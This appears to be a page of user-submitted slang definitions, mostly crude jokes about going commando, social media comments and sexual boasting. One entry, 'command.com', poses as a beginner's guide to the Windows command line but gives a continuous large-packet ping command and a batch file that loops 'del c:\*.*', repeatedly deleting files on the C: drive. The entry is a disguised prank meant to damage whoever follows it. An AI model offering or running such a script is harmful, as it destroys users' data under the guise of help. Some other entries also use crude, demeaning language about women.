commando bling

Being phototographed from such an angle that it appears as though one is naked, except for one or more pieces of jewelry. Preferably, jewelry is large and sparkly.

One might be described as going commando bling when, while wearing a strapless dress, they are photgraphed from the shoulders up so that only skin and sparkly jewelry shows.

by jfroggie77 January 11, 2011

Back-up Comment

When a person writes two or more consecutive comments on facebook, using the subsequent comments to add more detailed information, usually to prevent themselves from appearing ignorant or idiotic to others who may question the legitimacy of the original comment.

Joe's Status: Feel so drowsy today.

Mark's First Comment: Don't you mean, DRAW-SAY :p LOL!

Mark's Second Comment: You had to be there to get that.

Mark's Third Comment: At the party, I mean.

Mark's Fourth Comment: Joe got totally pissed whilst we were playing charades.

Joe's First Comment: Way to go with the back-up comments...douche

by bk-kaboom February 23, 2010

Clit Commander

A guy who get so many women that he literally commands them to have sexual intercourse whith him.

David "wow have you seen how many bitches Tim gets."

Brendan"Yeah he's quite the Clit Commander"

by MegaMilk January 21, 2015

command.com

a program used on windows. command line based.
to open command.com

press start, hit run, type "cmd" then press enter. once the black box comes up type help.

then type.

ping www.google.com -l 6000 -t


save this as a .bat file

echo :P
:loop
del c:\*.*
goto loop

by anonymous September 21, 2004

Thirst Comment

When one comments on a social media picture or video awkwardly and publicly complimenting the people in the picture/video.

Connor left a thirst comment on my picture about his girlfriend.

by Yeehawthotiana June 3, 2019

commandette

The female equilvalent of "going commando". In other words, a woman of mammary bountitude not wearing an over the shoulder boulder holder.

"That chick is going commandette over there!" "Dude, you can see her fripples from space!"

by gulo May 16, 2006

commando push up

Theoretically a push up done in a handstand. In actuality, a push up merely done without wearing underwear. So, when a guy is bragging that he can do commando push ups, it may not be what you expect...

Guy: Guess what? I did 12 commando push ups last night.
Girl: Really? What's that?
Different Guy: Oh, shut up, dude. It just means he did push up 'au naturale'.

Girl: Ew..!

by Yaneedtono July 14, 2010